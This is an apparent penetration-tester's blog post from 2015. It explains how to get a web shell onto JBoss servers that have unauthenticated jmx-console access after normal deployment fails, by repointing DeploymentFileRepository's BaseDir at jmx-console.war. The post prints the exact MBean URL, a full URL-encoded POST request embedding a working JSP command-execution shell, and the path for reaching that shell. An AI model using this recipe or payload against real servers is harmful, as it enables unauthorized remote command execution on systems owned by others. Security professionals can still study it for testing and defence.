Monday, August 17, 2015

Bad AS - More on Broken JBoss Configurations

It's been a while since I've posted anything about JBoss. Once in a while I still get an email or IM about someone trying to use the exploit code released here or in the "clusterd" framework against a JBoss instance that should be vulnerable, but seems to fail when the payload attempts to deploy. This was (and still is) a bit of a mystery, mostly because I haven't spent the time to reproduce these configurations.

In a somewhat recent engagement, my team ran up against such a JBoss instance for the first time. Authentication was not enabled on the HtmlAdaptor interface or jmx-console interfaces. They could be accessed, properties could easily be changed, but when a shell was deployed through either of the two JBoss deployers that we had used in previous exploits (MainDeployer or DeploymentFileRepository), the deployment would fail and the shell would not be accessible.

I was highly motivated to get the exploit working and decided to dive a little deeper, eventually finding a workaround that should avoid a lot of future headaches.

Phase 1 - Reconfiguration

The first phase of this exploit involves applying a configuration change to the "DeploymentFileRepository" through the HtmlAdaptor. This should also be possible through the "JMXInvokerServlet" interface, however I haven't had the joy of jumping through those hoops yet. The page is accessed at: 
  • /jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin%3Aservice%3DDeploymentFileRepository
The property "BaseDir" should be updated to point to jmx-console.war as follows:


Note that this works because jmx-console.war is an "exploded" war file - ie. a directory with ".war" in the name. Anything you put in this directory is accessible at http://host:port/jmx-console/... It should be obvious at this point where this is going.

Phase 2 - Shell Upload

Now we can use any method we please to attempt to deploy a malicious "war" file to the application server. Since we're already on the DeploymentFileRepository configuration page, I just did it directly from there, as follows:

The resulting POST request when invoking the operation looks like this:
  • action=invokeOp&name=jboss.admin%253Aservice%253DDeploymentFileRepository&methodIndex=5&arg0=testshell.war&arg1=test&arg2=.jsp&arg3=%3C%25%40+page+import%3D%22java.util.*%2Cjava.io.*%22%25%3E%3C%25%25%3E%3CHTML%3E%3CBODY%3ECommands+with+JSP%3CFORM+METHOD%3D%22GET%22+NAME%3D%22myform%22+ACTION%3D%22%22%3E%3CINPUT+TYPE%3D%22text%22+NAME%3D%22cmd%22%3E%3CINPUT+TYPE%3D%22submit%22+VALUE%3D%22Send%22%3E%3C%2FFORM%3E%3Cpre%3E%3C%25if+%28request.getParameter%28%22cmd%22%29+%21%3D+null%29+%7B++++out.println%28%22Command%3A+%22+%2B+request.getParameter%28%22cmd%22%29+%2B+%22%3CBR%3E%22%29%3B++++Process+p%3B++++if+%28+System.getProperty%28%22os.name%22%29.toLowerCase%28%29.indexOf%28%22windows%22%29+%21%3D+-1%29%7B++++++++p+%3D+Runtime.getRuntime%28%29.exec%28%22cmd.exe+%2FC+%22+%2B+request.getParameter%28%22cmd%22%29%29%3B++++%7D++++else%7B++++++++p+%3D+Runtime.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B++++%7D++++OutputStream+os+%3D+p.getOutputStream%28%29%3B++++InputStream+in+%3D+p.getInputStream%28%29%3B++++DataInputStream+dis+%3D+new+DataInputStream%28in%29%3B++++String+disr+%3D+dis.readLine%28%29%3B++++while+%28+disr+%21%3D+null+%29+%7B++++out.println%28disr%29%3B++++disr+%3D+dis.readLine%28%29%3B++++%7D%7D%25%3E%3C%2Fpre%3E%3C%2FBODY%3E%3C%2FHTML%3E&arg4=True

Phase 3 - Shell Access

At this point your shell is not actually "deployed" to JBoss - because deployment was failing and that's the whole reason we went through all this trouble in the first place. However, the actual upload step is decoupled from deployment, and even if deployment fails, those uploaded files remain on the server. With the values I used for the test shell above, you would then be able to access your shell at:
  • http://host:port/jmx-console/testwar.war/test.jsp


Further Work

As mentioned previously, in theory this work work with the JMXInvokerServlet and EJBInvokerServlet deployers, it would just require a little bit of coding.